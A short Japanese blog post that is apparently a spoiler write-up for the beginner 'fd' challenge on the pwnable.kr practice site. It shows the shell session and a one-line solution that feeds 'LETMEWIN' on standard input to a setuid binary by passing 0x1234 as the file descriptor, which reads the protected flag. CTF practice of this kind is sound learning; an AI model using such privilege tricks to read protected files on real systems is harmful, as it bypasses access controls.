pwnable.krというサイトがあります。最初の方は初心者向けだと思います。pwnable.twっていうのもあります。両方、CTF(pwn)の練習になると思います。ブログに書きやすそうなものが最近ないので(規模がでかいため)CTFっぽいのも練習がてらやっていこうと思います。

そんなわけで、ちょっとずつやって行こうと思います。個人的にスクリプトを実行するのが弱いと思っているので、練習がてら 1 行で達成していくのが目標です。

ちなみに既に writeup が出ているのでそれを見てやったのか判断するのは読者次第です(笑)

それでは 爆走兄弟 レッツ & ゴー

fd

ネタバレだから、自分でやろうとする人はこっから見ないでね!!!!!!!!!!

一番最初のやつです。

fd@ubuntu:~$ ls
fd  fd.c  flag
fd@ubuntu:~$ cat flag
cat: flag: Permission denied
fd@ubuntu:~$ ll
ll: command not found
fd@ubuntu:~$ ls -l
total 16
-r-sr-x--- 1 fd_pwn fd   7322 Jun 11  2014 fd
-rw-r--r-- 1 root   root  418 Jun 11  2014 fd.c
-r--r----- 1 fd_pwn root   50 Jun 11  2014 flag

こんな感じになってる。今回は、fd.cを直接見た。
fd 完全に file descriptor ことだね。システムコール使うopenとかはFILE構造体じゃなくてだいたいfdを使ったりする(豆)
重要なのはfdが0は標準入力を表すってこと。1は出力で2 はerrだったかな。
これは調べることなく一発で出せた。簡単。llないの不便だよね。aliasでいつもつけます。

$ echo LETMEWIN | ./fd `python -c "print 0x1234"`

これで出るね。というか出た。

四苦八苦はしてないけど、Hackっぽさはあるんじゃない?